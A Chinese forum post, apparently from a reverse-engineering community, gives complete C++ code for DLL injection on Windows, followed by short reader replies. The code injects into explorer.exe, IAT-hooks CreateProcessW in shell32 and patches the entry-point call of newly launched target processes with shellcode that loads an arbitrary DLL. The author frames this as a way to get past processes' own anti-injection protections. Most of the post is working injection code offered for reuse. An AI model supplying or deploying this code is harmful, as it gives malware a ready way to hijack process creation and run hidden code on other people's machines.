首页
论坛
课程
招聘
[原创]Ring3下劫持CreateProcess注入dll
2010-12-8 22:38 141285

[原创]Ring3下劫持CreateProcess注入dll

2010-12-8 22:38
141285
前段时间写的代码,写完后一运行就出错,又因为手头有点事,就放在那了.今天中午没事拿出来和"雪"牛一起看了看,终于能跑起来了.这种被ken戏称称为"吸星大法"的技术,确实没啥新意,只当练手吧.顺便温习下IAT HOOK和PE结构.高手飘过!
大体说下思路:首先利用远程线程注入到系统的explorer.exe进程,注入后利用IAT HOOK,勾住explorer.exe的CreateProcessA,因为应用程序都是这个桌面进程拉起来的.所以后面创建的进程,都会走进我们挂钩后的函数.在我们的函数中做下过滤,根据进程名判断是否是我们感兴趣的进程.如果是,以CREATE_SUSPENDED标志创建进程,此时该进程虽然被创建但已被挂起.这时,我们可以将进程对应的可执行文件映射进内存,根据PE结构知道该进程的EP,然后修改EP处的代码.我这里选择的方式是,从EP开始搜索第一个call xxxx,然后修改xxxx处的地址,直接跳转到我们的代码处(当然必须先将我们的代码写入目标进程中),执行完我们的代码,再JMP到call对应的xxxx处.至于我们的代码中要干什么,想干什么就干什么了,我这里只是向进程load了一个dll.有人可能会问,这样不是闲着蛋疼,没事找事,直接为目标进程创建一个LoadlibraryA的远程线程不就load一个dll了,问题是有些进程自己做了保护,程序运行起来后,就不那么轻易让你注入了.废话不多说,直接上代码吧!
代码1:向系统的explorer.exe进程注入DLL
这段代码没什么好解释的,就是在系统进程快照中查找名叫explorer.exe的进程id,然后通过OpenProcess将进程映射到本进程的句柄表中,再远程分配空间,写内存,创建远程线程.
void main()
{
	char lpDllName[100] = {0};
	GetCurrentDirectory( 100, lpDllName );
	strcat( lpDllName, "\\InjectProcessDll.dll" );
	cout<<"Dll当前路径:"<<lpDllName<<endl;

	HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
	if( hSnapshot == NULL )
	{
		cout<<"Create Snapshot false."<<endl;
		cin.get();
		return;
	}
	PROCESSENTRY32 stProcessEntry32 = {0};
	stProcessEntry32.dwSize = sizeof(PROCESSENTRY32);
	Process32First( hSnapshot, &stProcessEntry32 );
	bool bFind = false;
	do
	{
		if( strncmp( stProcessEntry32.szExeFile, "explorer.exe", strlen("explorer.exe") ) == 0 )
		{
			bFind = true;
			break;
		}
	}while( Process32Next( hSnapshot, &stProcessEntry32 ) );
	CloseHandle( hSnapshot );
	if( !bFind )
	{
		cout<<"查找explorer进程失败."<<endl;
		cin.get();
		return;
	}

	DWORD dwPId = stProcessEntry32.th32ProcessID;
	HANDLE hProcess = OpenProcess(  PROCESS_ALL_ACCESS, false, dwPId );
	if( hProcess == NULL )
	{
		cout<<"打开explorer进程失败."<<endl;
		cin.get();
		return;
	}
	LPVOID lpDllNameAddr = VirtualAllocEx( hProcess, NULL, strlen(lpDllName)+1, MEM_COMMIT, PAGE_READWRITE );
	if( lpDllNameAddr == NULL )
	{
		cout<<"explorer进程中申请内存失败."<<endl;
		CloseHandle(hProcess);
		cin.get();
		return;
	}
	cout<<"在目标进程:"<<stProcessEntry32.szExeFile<<"中申请的空间地址:"<<hex<<lpDllNameAddr<<endl;
	DWORD dwRes = 0;
	bool bRet = WriteProcessMemory( hProcess, lpDllNameAddr, lpDllName, strlen(lpDllName), &dwRes );
	if( !bRet )
	{
		cout<<"explorer进程写信息失败."<<endl;
		VirtualFreeEx( hProcess, lpDllNameAddr, strlen(lpDllName)+1, MEM_DECOMMIT );
		CloseHandle(hProcess);
		cin.get();
		return;

	}
	HMODULE hModuleKernel32 = GetModuleHandle("kernel32.dll");
	LPTHREAD_START_ROUTINE lpLoadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress( hModuleKernel32, "LoadLibraryA" );
	if( lpLoadLibraryAddr != NULL )
	{
		cout<<"获得函数地址:"<<hex<<lpLoadLibraryAddr<<endl;
		HANDLE hRemote = CreateRemoteThread( hProcess, NULL, 0, lpLoadLibraryAddr, lpDllNameAddr, 0, NULL );
		if( hRemote != NULL )
		{
			cout<<"创建远程线程成功,句柄:"<<hex<<hRemote<<endl;
			WaitForSingleObject( hRemote, INFINITE );
			CloseHandle( hRemote );
			cout<<"远程线程运行结束"<<endl;
			cin.get();

		}
		else
			cout<<"创建远程线程失败."<<endl;
	}
	else
		cout<<"获取LoadLibrary地址失败"<<endl;

	
	VirtualFreeEx( hProcess, lpDllNameAddr, strlen(lpDllName)+1, MEM_DECOMMIT );
	CloseHandle(hProcess);
	cin.get();
	return;


}

代码2:现在已经在explorer.exe的空间,IAT Hook该进程的CreateProcessA函数
该段代码从功能上分两个部分:(1).IAT HOOK CreateProcessA函数,刚开始我也以为直接搜索explorer.exe的IAT,如下图:
但不是想象的那样,用OD在CreateProcessW处下段,居然断在Shell32.dll空间,于是只好IAT HOOK Shell32.dll中IAT结构中的CreateProcessW,将其入口指向我们自己的函数MyCreateProcess.如下图:

详细见代码:
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	switch( ul_reason_for_call )
	{
	case DLL_PROCESS_ATTACH:
		{	
			
			OutLog("dll attach.");
			char pModule[50] = {0};
			sprintf( pModule, "Module Base:%x", hModule );
			OutLog(pModule);
			MessageBox( NULL, pModule, NULL, MB_OK );
			hInstance = (HINSTANCE)hModule;
			HookCreateProcess(true);
			break;
		}
	case DLL_PROCESS_DETACH:
		{			
		HookCreateProcess(false);
		break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:	
		break;
	}

    return TRUE;
}


void HookCreateProcess( bool bHook)
{
	HMODULE hModule = GetModuleHandle( "SHELL32.DLL" );
	if( hModule != NULL )
	{
		PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)hModule;
		PIMAGE_NT_HEADERS pstNtHeaders = (PIMAGE_NT_HEADERS)((ULONG)hModule + (ULONG)(pstDosHeader->e_lfanew));
		IMAGE_OPTIONAL_HEADER stOptionalHeader = pstNtHeaders->OptionalHeader;
		IMAGE_DATA_DIRECTORY stImportDataDirectory = stOptionalHeader.DataDirectory[1];//导入表结构
		PIMAGE_IMPORT_DESCRIPTOR pstImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)( (ULONG)hModule + (ULONG)(stImportDataDirectory.VirtualAddress) );
	
		PIMAGE_THUNK_DATA pThunkData = NULL;
		while( pstImportDescriptor->FirstThunk != 0 )
		{
			char *pDllName = (char*)((ULONG)hModule + pstImportDescriptor->Name );
			if( 0 == strnicmp( pDllName, "kernel32.dll", strlen("kernel32.dll") ) )
			{
				OutLog("找到导入表中kernel32.dll结构.");
				pThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule + pstImportDescriptor->FirstThunk);
				break;
			}
			pstImportDescriptor++;
		}
		if( pThunkData != NULL )
		{
			while( pThunkData->u1.Function != 0 )
			{
				ULONG *lpFuncAddr = (PULONG)&(pThunkData->u1.Function);
				ULONG ulCreateProcess = (ULONG)GetProcAddress( GetModuleHandle("kernel32.dll"), "CreateProcessW" );

				char p[50] = {0};
				sprintf( p, "%x-%x-MyCreateProcessA:%x-%x",*lpFuncAddr,lpFuncAddr,MyCreateProcess, ulCreateProcess );
				OutLog( p );

				if( *lpFuncAddr == ulCreateProcess )
				{
					OutLog("找到kernel32.dll结构中CreateProcessW函数地址.");
					dwOrigCreateProcessAddr = *lpFuncAddr;
					DWORD dwOldProtect = 0;

					MEMORY_BASIC_INFORMATION stMemBasicInfo = {0};
					VirtualQuery( &lpFuncAddr, &stMemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION) );
					VirtualProtect( stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, PAGE_READWRITE, &dwOldProtect );
					if( bHook )
					{
						DWORD lpDw = (DWORD)MyCreateProcess;
						HANDLE h = ::GetCurrentProcess();
						
						bool bOk = ::WriteProcessMemory( h, lpFuncAddr, &lpDw, sizeof(DWORD), NULL );
						//*lpFuncAddr = (ULONG)MyCreateProcess;
						if(bOk == false )
							OutLog("改写kernel32.dll结构中CreateProcessW函数地址失败");

					}
					else
						::WriteProcessMemory( ::GetCurrentProcess(), lpFuncAddr, &dwOrigCreateProcessAddr, sizeof(DWORD), NULL );
					VirtualProtect( stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, dwOldProtect, NULL );
					break;
				}
				pThunkData++;
			}
		}
		else
			OutLog("没有找到导入表中kernel32.dll结构.");


	}
	else
		OutLog("获取Shell32.dll失败.");
}

(2).现在运行的应用程序会先走到下面这个函数,如果是自己感兴趣的应用,则通过修改EP注入.

BOOL WINAPI MyCreateProcess(
	LPCTSTR lpApplicationName,
	LPTSTR lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL bInheritHandles,
	DWORD dwCreationFlags,
	LPVOID lpEnvironment,
	LPCTSTR lpCurrentDirectory,
	LPSTARTUPINFO lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation
)
{
	DWORD dwNum = WideCharToMultiByte( CP_OEMCP, 0, (const unsigned short*)lpApplicationName, -1, NULL, 0, NULL, false );
	if( dwNum != 0 )
	{
		char *lpAnsiName = new char[dwNum+1];
		dwNum = WideCharToMultiByte( CP_OEMCP, NULL, (const unsigned short*)lpApplicationName, -1, lpAnsiName, dwNum+1, NULL, false );

		OutLog( lpAnsiName );
		char lpExePath[100] = {0};
		strncpy( lpExePath, lpAnsiName, strlen(lpAnsiName) );
		
		char lpExeName[50] = {0};
		char *p = strrchr( lpAnsiName, '\\' ); 
		strncpy( lpExeName, p+1, strlen(p+1) );
		OutLog( lpExeName );
		delete lpAnsiName;
		//如果是感兴趣的进程被创建,将通过EPO技术挂关键函数,这里只是修改进程的EP入口,对目标进程实现dll注入
		if( 0 == strncmp( lpExeName, "notepad.exe", strlen("notepad.exe") ) )
		{

			dwCreationFlags |= CREATE_SUSPENDED;
			bool bRes = ((LPCREATEPROCESS)dwOrigCreateProcessAddr)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
							bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation );

			//重新映射可执行文件,寻找EP点
			HANDLE hFile = CreateFile( lpExePath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
			if( hFile == NULL )
			{
				OutLog( "打开目标文件失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				return bRes;
			}
			HANDLE hMapping = CreateFileMapping( hFile, NULL, PAGE_READONLY, 0, 0, NULL );
			CloseHandle( hFile );
			if( hMapping == NULL )
			{
				OutLog( "打开目标文件映射失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				return bRes;
			}
			LPVOID lpMapFile = MapViewOfFile( hMapping, FILE_MAP_READ, 0, 0, 0 );
			if( lpMapFile == NULL )
			{
				OutLog( "映射目标文件失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				CloseHandle( hMapping );
				return bRes;

			}
			CloseHandle( hMapping );

			//已经完成文件映射
			PIMAGE_DOS_HEADER lpstDosHeader = (PIMAGE_DOS_HEADER)lpMapFile;
			PIMAGE_NT_HEADERS lpstNtHeaders = (PIMAGE_NT_HEADERS)( (ULONG)lpMapFile + lpstDosHeader->e_lfanew );
			DWORD dwPeEntry = lpstNtHeaders->OptionalHeader.AddressOfEntryPoint+lpstNtHeaders->OptionalHeader.ImageBase;
			DWORD dwSizeOfImage = lpstNtHeaders->OptionalHeader.SizeOfImage;
			char lpEntry[50] = {0};
			sprintf( lpEntry, "EntryAddr:%x", dwPeEntry );
			OutLog( lpEntry );

			//加载dll方式:从程序的入口点,寻找第一个call,然后替换这个call地址,从而转到我们的shellcode中,执行完shellcode
			//再继续走原来的函数流程
			//1.查找第一个call地址
			BYTE bCode = 0;
			DWORD dwReadAddr = dwPeEntry;
			while( bCode != 0xe8 )
			{
				bool bOk = ReadProcessMemory( lpProcessInformation->hProcess, (LPVOID)dwReadAddr, &bCode, 1, NULL );
				if( !bOk )
				{
					OutLog( "查找第一个call地址出错" );
					if( bRes )
						ResumeThread( lpProcessInformation->hThread );
					return bRes;
				}
				dwReadAddr++;

			}
			//计算被替换函数的入口地址
			DWORD dwCallAddr  = 0;
			bool bOk = ReadProcessMemory( lpProcessInformation->hProcess, (LPVOID)dwReadAddr, &dwCallAddr, 4, NULL );
			if( !bOk )
			{
				OutLog( "查找第一个call地址出错" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				return bRes;
			}
			//计算call的目标函数地址
			DWORD dwChangedFuncAddr = dwReadAddr+4+dwCallAddr;
			char s[50] = {0};
			sprintf( s, "CallAddr:%x", dwChangedFuncAddr );
			OutLog( s );
			//1.编写shellcode
			//shellcode格式
/*
			
$ ==>    >  60              pushad
$+1      >  9C              pushfd
$+2      >  68 11111111     push    11111111	//加载的dll名称
$+7      >  E8 444288A5     call    22222222	//LoadLibraryA地址
$+C      >  9D              popfd
$+D      >  61              popad
$+13     >- E9 495399B6     jmp     33333333	//跳转到第一个call函数开始
*/
			char lpShellCode[] = {
					0x60,
					0x9c,
					0x68,0x90,0x90,0x90,0x90,
					0xe8,0x90,0x90,0x90,0x90,
					0x9d,
					0x61,
					0xe9,0x90,0x90,0x90,0x90};
					
			char lpCurrentDirectory [100] = {0};
			GetCurrentDirectory( 100, lpCurrentDirectory );
			strncat( lpCurrentDirectory, "\\xx.dll", strlen("\\xx.dll") );//构建你想注入到目标进程的dll完成路径
			LPVOID lpDllPathAddr = VirtualAllocEx( lpProcessInformation->hProcess, NULL, strlen(lpCurrentDirectory)+1, MEM_COMMIT, PAGE_READWRITE );
			DWORD dwErr = GetLastError();
			char lpErr[50] = {0};
			
			if( lpDllPathAddr == NULL )
			{
				sprintf( lpErr, "ErrorCode:%d", dwErr );
				OutLog( lpErr );
				OutLog( "映射目标进程申请空间失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				return bRes;
			}
			char tp[50] = {0};
			sprintf( tp, "申请的dll路径空间:%x", lpDllPathAddr );
			OutLog( tp );
			bOk = WriteProcessMemory( lpProcessInformation->hProcess, lpDllPathAddr, lpCurrentDirectory, strlen(lpCurrentDirectory), NULL);
			if( !bOk )
			{
				OutLog( "写目标进程空间dll路径失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				VirtualFree( lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT );
				return bRes;
			}
			OutLog( "写dll路径到目标地址空间成功" );
			
			
			LPVOID lpFuncAddr = GetProcAddress( GetModuleHandle("kernel32.dll"), "LoadLibraryA" );
			memset( tp, 0, 50 );
			sprintf( tp, "获取的目标进程中LoadLibraryA地址:%x", lpFuncAddr );
			OutLog( tp );
			
			LPVOID lpShellCodeAddr = VirtualAllocEx( lpProcessInformation->hProcess, NULL, strlen(lpShellCode)+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
			if( lpShellCodeAddr == NULL )
			{
				OutLog( "申请目标进程空间shellcode失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				VirtualFree( lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT );
				return bRes;
			}
			memset( tp, 0, 50 );
			sprintf( tp, "获取的目标进程中ShellCode地址:%x", lpShellCodeAddr );
			OutLog( tp );

			//组合shellcode
			memcpy( lpShellCode+3, (char*)&lpDllPathAddr, 4 );
			DWORD dwFuncAddr = (DWORD)lpFuncAddr - ((DWORD)lpShellCodeAddr+7)-5;
			memcpy( lpShellCode+8, (char*)&dwFuncAddr, 4 );
			DWORD dwJmpEnd = dwChangedFuncAddr - ((DWORD)lpShellCodeAddr+14) -5;
			memcpy( lpShellCode+15, (char*)&dwJmpEnd, 4 );

			//3.写入shellcode,及改变原来函数入口
			bOk = WriteProcessMemory( lpProcessInformation->hProcess, lpShellCodeAddr, lpShellCode, 30, NULL );
			if( !bOk )
			{
				OutLog( "写目标进程shellcode失败" );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				VirtualFreeEx( lpProcessInformation->hProcess, lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT );
				VirtualFreeEx( lpProcessInformation->hProcess, lpShellCodeAddr, strlen(lpShellCode)+1, MEM_DECOMMIT );
				return bRes;
			}
			//计算call的新地址
			DWORD dwNewCallAddr = (DWORD)lpShellCodeAddr - (dwReadAddr+4);
			//写入写call地址
			
			MEMORY_BASIC_INFORMATION  stMemBasicInfor = {0};
			VirtualQueryEx( lpProcessInformation->hProcess, (PVOID)dwReadAddr, &stMemBasicInfor, sizeof(MEMORY_BASIC_INFORMATION) );
			DWORD dwOldProtect = 0;
			VirtualProtectEx( lpProcessInformation->hProcess, stMemBasicInfor.BaseAddress, stMemBasicInfor.RegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect );
			bOk = WriteProcessMemory( lpProcessInformation->hProcess, (PVOID)dwReadAddr, &dwNewCallAddr, 4, NULL );
			dwErr = GetLastError();
			VirtualProtectEx( lpProcessInformation->hProcess, stMemBasicInfor.BaseAddress, stMemBasicInfor.RegionSize, dwOldProtect, NULL );
			if( !bOk )
			{
				OutLog( "写目标进程第一个call地址失败" );
				memset( lpErr, 0, 10 );
				sprintf( lpErr, "ErrorCode:%d", dwErr );
				OutLog( lpErr );
				if( bRes )
					ResumeThread( lpProcessInformation->hThread );
				VirtualFreeEx( lpProcessInformation->hProcess, lpDllPathAddr, strlen(lpCurrentDirectory)+1, MEM_DECOMMIT );
				VirtualFreeEx( lpProcessInformation->hProcess, lpShellCodeAddr, strlen(lpShellCode)+1, MEM_DECOMMIT );
				return bRes;
			}
			
			//至此目标进程的入口已经改造完毕,
			ResumeThread( lpProcessInformation->hThread );
			OutLog( "成功" );

			
			return bRes;
		}
		else
		{
			return ((LPCREATEPROCESS)dwOrigCreateProcessAddr)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
		bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation );
		}

	}
	else
	{
	return ((LPCREATEPROCESS)dwOrigCreateProcessAddr)( lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
		bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation );
	}
}

void OutLog( char *pStr )
{  
	//判断日志文件是否存在
	bool bFileExist = false;
	FILE *fp = NULL;
    fp = fopen( "log.txt", "r" );
	if( fp != NULL )
	{
		bFileExist = true;
		fclose(fp);
		fp = NULL;
	}

	//文件存在,写日志
	if( bFileExist )
	{
		ofstream out("log.txt", ios::app );
		if( out != NULL )
		{
			out<<pStr<<endl;
		}
		out.close();
	}
}

运行前后记事本的入口代码对比:


EPO记事本后的入口代码:


1。挂钩前,记事本的入口代码:

上面代码已经测试并能实现注入.这个框架能干什么?就各显神通了.希望多认识些有共同爱好的朋友.

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班火热招生!!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (123)
雪    币: 357
活跃值: 活跃值 (101)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
zyhfut 活跃值 5 2010-12-9 17:43
2
0
没人顶。自己顶下。。
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Eniac 活跃值 2010-12-9 18:32
3
0
不错啊,顶一下~~~
有没有单exe文件注入的相关代码和说明
雪    币: 1756
活跃值: 活跃值 (677)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 活跃值 2010-12-9 18:36
4
0
顶顶顶顶
雪    币: 306
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tfzxyinhao 活跃值 2010-12-9 19:00
5
0
楼主能提供工程文件吗?,这个有点意思,但是不是所有的进程都是explorer创建的
雪    币: 357
活跃值: 活跃值 (101)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
zyhfut 活跃值 5 2010-12-9 20:50
6
0
1。文中已经指出,大部分应用程序,并非所有进程
2。工程文件见附件
雪    币: 327
活跃值: 活跃值 (536)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gtict 活跃值 2010-12-9 21:06
7
0
好东西,,标注下
雪    币: 1112
活跃值: 活跃值 (88)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 活跃值 5 2010-12-9 21:52
8
0
看帖 回帖是一种美德  顶了。。。。。。你 注入了 explorer.exe  所以 你可以多干了很多事。。
雪    币: 2118
活跃值: 活跃值 (455)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kagayaki 活跃值 2010-12-10 09:32
9
0
谢谢分享啊....
雪    币: 196
活跃值: 活跃值 (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
十年寒窗 活跃值 2010-12-10 09:37
10
0
Mark学习
雪    币: 10
活跃值: 活跃值 (215)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
sungy 活跃值 1 2010-12-10 12:27
11
0
收集代码,学习注入,谢谢
雪    币: 145
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ufofind 活跃值 2010-12-11 12:59
12
0
还是直接用汇编吧,然后实现自定位那样不是更好
雪    币: 69
活跃值: 活跃值 (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
寻梦小子 活跃值 1 2010-12-11 15:07
13
0
谢谢。。复习下。。。。
雪    币: 114
活跃值: 活跃值 (33)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dousao 活跃值 2010-12-11 15:21
14
0
给力,给力。
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
见钱开眼 活跃值 2010-12-11 21:08
15
0
收藏了。哈哈
雪    币: 440
活跃值: 活跃值 (660)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
crazyearl 活跃值 2 2010-12-11 22:34
16
0
TAG:劫持、注入
雪    币: 450
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cnnets 活跃值 2010-12-12 00:55
17
0
呵呵,这个不错,支持开源。
雪    币: 284
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jerrynpc 活跃值 2010-12-12 08:03
18
0
我六个区,这邪恶
雪    币: 78
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
whypro 活跃值 2010-12-12 08:08
19
0
够邪恶的
雪    币: 215
活跃值: 活跃值 (210)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zylzylzylzyl 活跃值 2010-12-12 10:21
20
0
写的不错,下载学习一下。
雪    币: 373
活跃值: 活跃值 (18)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
lovesuae 活跃值 1 2010-12-12 10:37
21
0
支持有码,注多了会不会导致explorer进程假死呢?
雪    币: 515
活跃值: 活跃值 (206)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
guxinyi 活跃值 5 2010-12-12 13:37
22
0
进程间的 API HOOK,标记备查
雪    币: 136
活跃值: 活跃值 (29)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
robey 活跃值 1 2010-12-12 20:43
23
0
收藏一下。学习了。。。
雪    币: 219
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mingligli 活跃值 2010-12-12 21:29
24
0
谢谢分享啊....
雪    币: 215
活跃值: 活跃值 (155)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
lhglhg 活跃值 1 2010-12-12 22:15
25
0
谢谢。学习一下!!!!
游客
登录 | 注册 方可回帖
返回